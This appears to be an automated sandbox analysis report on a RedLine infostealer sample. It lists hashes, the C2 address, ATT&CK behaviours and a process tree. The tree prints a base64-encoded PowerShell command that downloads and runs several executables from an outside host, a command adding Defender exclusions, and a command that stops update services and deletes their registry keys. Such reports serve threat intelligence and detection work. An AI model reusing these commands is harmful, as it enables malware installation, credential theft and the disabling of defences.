redline | 474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e

Analysis

max time kernel
49s
max time network
89s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
05/02/2023, 07:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Size

626KB
MD5

47b01695ff80b03ae518b333163da42c
SHA1

aa95d6c08ae9201828da23593e42df4a2e39ce82
SHA256

474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e
SHA512

886a285e76a7d41e14bb1cfef3a464dc47e4b665bfd6905f26961253fd5f4eee0a6fed01afd464d603c8d17f6d09edc475e2fdd4da79178c6be0f54dc5bad466
SSDEEP

6144:fMEN1L7wFSXZX4KipZx7fuwkBzvGwxAOo8jRfAAfc:f9N1LkFSJX45p3Uhq8jRAAE

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/3896-171-0x0000000000540000-0x0000000000560000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 4172 created 740	4172	SmartDefRun.exe	35
PID 4172 created 740	4172	SmartDefRun.exe	35
PID 4172 created 740	4172	SmartDefRun.exe	35
PID 4172 created 740	4172	SmartDefRun.exe	35
PID 216 created 580	216	powershell.EXE	76

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	2168	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 4 IoCs

pid	Process
524	new2.exe
936	C4Loader.exe
4172	SmartDefRun.exe
3492	SysApp.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2904 set thread context of 1520	2904	aa95d6c08ae9201828da23593e42df4a2e39ce82.exe	81
PID 524 set thread context of 3896	524	new2.exe	90
PID 4172 set thread context of 2092	4172	SmartDefRun.exe	119
PID 216 set thread context of 1528	216	powershell.EXE	124

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4804	sc.exe
4608	sc.exe
1460	sc.exe
2128	sc.exe
2592	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4760	2904	WerFault.exe	79
4184	524	WerFault.exe	86

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
2168	powershell.exe
2168	powershell.exe
3492	SysApp.exe
3492	SysApp.exe
3492	SysApp.exe
3492	SysApp.exe
3492	SysApp.exe
3492	SysApp.exe
3492	SysApp.exe
3492	SysApp.exe
3492	SysApp.exe
3492	SysApp.exe
3896	vbc.exe
4172	SmartDefRun.exe
4172	SmartDefRun.exe
2228	powershell.exe
2228	powershell.exe
4172	SmartDefRun.exe
4172	SmartDefRun.exe
4172	SmartDefRun.exe
4172	SmartDefRun.exe
868	powershell.exe
868	powershell.exe
4172	SmartDefRun.exe
4172	SmartDefRun.exe
4576	powershell.EXE
216	powershell.EXE
4576	powershell.EXE
216	powershell.EXE
216	powershell.EXE
1528	dllhost.exe
1528	dllhost.exe
1528	dllhost.exe
1528	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	3896	vbc.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeIncreaseQuotaPrivilege	868	powershell.exe
Token: SeSecurityPrivilege	868	powershell.exe
Token: SeTakeOwnershipPrivilege	868	powershell.exe
Token: SeLoadDriverPrivilege	868	powershell.exe
Token: SeSystemProfilePrivilege	868	powershell.exe
Token: SeSystemtimePrivilege	868	powershell.exe
Token: SeProfSingleProcessPrivilege	868	powershell.exe
Token: SeIncBasePriorityPrivilege	868	powershell.exe
Token: SeCreatePagefilePrivilege	868	powershell.exe
Token: SeBackupPrivilege	868	powershell.exe
Token: SeRestorePrivilege	868	powershell.exe
Token: SeShutdownPrivilege	868	powershell.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeSystemEnvironmentPrivilege	868	powershell.exe
Token: SeRemoteShutdownPrivilege	868	powershell.exe
Token: SeUndockPrivilege	868	powershell.exe
Token: SeManageVolumePrivilege	868	powershell.exe
Token: 33	868	powershell.exe
Token: 34	868	powershell.exe
Token: 35	868	powershell.exe
Token: 36	868	powershell.exe
Token: SeIncreaseQuotaPrivilege	868	powershell.exe
Token: SeSecurityPrivilege	868	powershell.exe
Token: SeTakeOwnershipPrivilege	868	powershell.exe
Token: SeLoadDriverPrivilege	868	powershell.exe
Token: SeSystemProfilePrivilege	868	powershell.exe
Token: SeSystemtimePrivilege	868	powershell.exe
Token: SeProfSingleProcessPrivilege	868	powershell.exe
Token: SeIncBasePriorityPrivilege	868	powershell.exe
Token: SeCreatePagefilePrivilege	868	powershell.exe
Token: SeBackupPrivilege	868	powershell.exe
Token: SeRestorePrivilege	868	powershell.exe
Token: SeShutdownPrivilege	868	powershell.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeSystemEnvironmentPrivilege	868	powershell.exe
Token: SeRemoteShutdownPrivilege	868	powershell.exe
Token: SeUndockPrivilege	868	powershell.exe
Token: SeManageVolumePrivilege	868	powershell.exe
Token: 33	868	powershell.exe
Token: 34	868	powershell.exe
Token: 35	868	powershell.exe
Token: 36	868	powershell.exe
Token: SeIncreaseQuotaPrivilege	868	powershell.exe
Token: SeSecurityPrivilege	868	powershell.exe
Token: SeTakeOwnershipPrivilege	868	powershell.exe
Token: SeLoadDriverPrivilege	868	powershell.exe
Token: SeSystemProfilePrivilege	868	powershell.exe
Token: SeSystemtimePrivilege	868	powershell.exe
Token: SeProfSingleProcessPrivilege	868	powershell.exe
Token: SeIncBasePriorityPrivilege	868	powershell.exe
Token: SeCreatePagefilePrivilege	868	powershell.exe
Token: SeBackupPrivilege	868	powershell.exe
Token: SeRestorePrivilege	868	powershell.exe
Token: SeShutdownPrivilege	868	powershell.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeSystemEnvironmentPrivilege	868	powershell.exe
Token: SeRemoteShutdownPrivilege	868	powershell.exe
Token: SeUndockPrivilege	868	powershell.exe
Token: SeManageVolumePrivilege	868	powershell.exe
Token: 33	868	powershell.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 1520	2904	aa95d6c08ae9201828da23593e42df4a2e39ce82.exe	81
PID 2904 wrote to memory of 1520	2904	aa95d6c08ae9201828da23593e42df4a2e39ce82.exe	81
PID 2904 wrote to memory of 1520	2904	aa95d6c08ae9201828da23593e42df4a2e39ce82.exe	81
PID 2904 wrote to memory of 1520	2904	aa95d6c08ae9201828da23593e42df4a2e39ce82.exe	81
PID 2904 wrote to memory of 1520	2904	aa95d6c08ae9201828da23593e42df4a2e39ce82.exe	81
PID 1520 wrote to memory of 2168	1520	vbc.exe	84
PID 1520 wrote to memory of 2168	1520	vbc.exe	84
PID 1520 wrote to memory of 2168	1520	vbc.exe	84
PID 2168 wrote to memory of 524	2168	powershell.exe	86
PID 2168 wrote to memory of 524	2168	powershell.exe	86
PID 2168 wrote to memory of 524	2168	powershell.exe	86
PID 2168 wrote to memory of 936	2168	powershell.exe	88
PID 2168 wrote to memory of 936	2168	powershell.exe	88
PID 2168 wrote to memory of 936	2168	powershell.exe	88
PID 2168 wrote to memory of 4172	2168	powershell.exe	89
PID 2168 wrote to memory of 4172	2168	powershell.exe	89
PID 2168 wrote to memory of 3492	2168	powershell.exe	91
PID 2168 wrote to memory of 3492	2168	powershell.exe	91
PID 2168 wrote to memory of 3492	2168	powershell.exe	91
PID 524 wrote to memory of 3896	524	new2.exe	90
PID 524 wrote to memory of 3896	524	new2.exe	90
PID 524 wrote to memory of 3896	524	new2.exe	90
PID 524 wrote to memory of 3896	524	new2.exe	90
PID 524 wrote to memory of 3896	524	new2.exe	90
PID 1464 wrote to memory of 4804	1464	cmd.exe	109
PID 1464 wrote to memory of 4804	1464	cmd.exe	109
PID 1464 wrote to memory of 4608	1464	cmd.exe	110
PID 1464 wrote to memory of 4608	1464	cmd.exe	110
PID 1464 wrote to memory of 1460	1464	cmd.exe	111
PID 1464 wrote to memory of 1460	1464	cmd.exe	111
PID 1464 wrote to memory of 2128	1464	cmd.exe	112
PID 1464 wrote to memory of 2128	1464	cmd.exe	112
PID 1464 wrote to memory of 2592	1464	cmd.exe	113
PID 1464 wrote to memory of 2592	1464	cmd.exe	113
PID 1464 wrote to memory of 2212	1464	cmd.exe	114
PID 1464 wrote to memory of 2212	1464	cmd.exe	114
PID 1464 wrote to memory of 2120	1464	cmd.exe	115
PID 1464 wrote to memory of 2120	1464	cmd.exe	115
PID 1464 wrote to memory of 3112	1464	cmd.exe	116
PID 1464 wrote to memory of 3112	1464	cmd.exe	116
PID 1464 wrote to memory of 2752	1464	cmd.exe	117
PID 1464 wrote to memory of 2752	1464	cmd.exe	117
PID 1464 wrote to memory of 2252	1464	cmd.exe	118
PID 1464 wrote to memory of 2252	1464	cmd.exe	118
PID 4172 wrote to memory of 2092	4172	SmartDefRun.exe	119
PID 216 wrote to memory of 1528	216	powershell.EXE	124
PID 216 wrote to memory of 1528	216	powershell.EXE	124
PID 216 wrote to memory of 1528	216	powershell.EXE	124
PID 216 wrote to memory of 1528	216	powershell.EXE	124
PID 216 wrote to memory of 1528	216	powershell.EXE	124
PID 216 wrote to memory of 1528	216	powershell.EXE	124
PID 216 wrote to memory of 1528	216	powershell.EXE	124
PID 216 wrote to memory of 1528	216	powershell.EXE	124
PID 216 wrote to memory of 1528	216	powershell.EXE	124
PID 1528 wrote to memory of 580	1528	dllhost.exe	76
PID 1528 wrote to memory of 656	1528	dllhost.exe	3
PID 1528 wrote to memory of 944	1528	dllhost.exe	72
PID 1528 wrote to memory of 1016	1528	dllhost.exe	6
PID 1528 wrote to memory of 504	1528	dllhost.exe	71

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:656

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:1016

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:740
- C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
  "C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2168
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:524
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3896
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 240
        6⤵
        Program crash
        
        PID:4184
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:936
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4172
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3492
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 252
    3⤵
    - Program crash
    PID:4760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4804
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4608
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
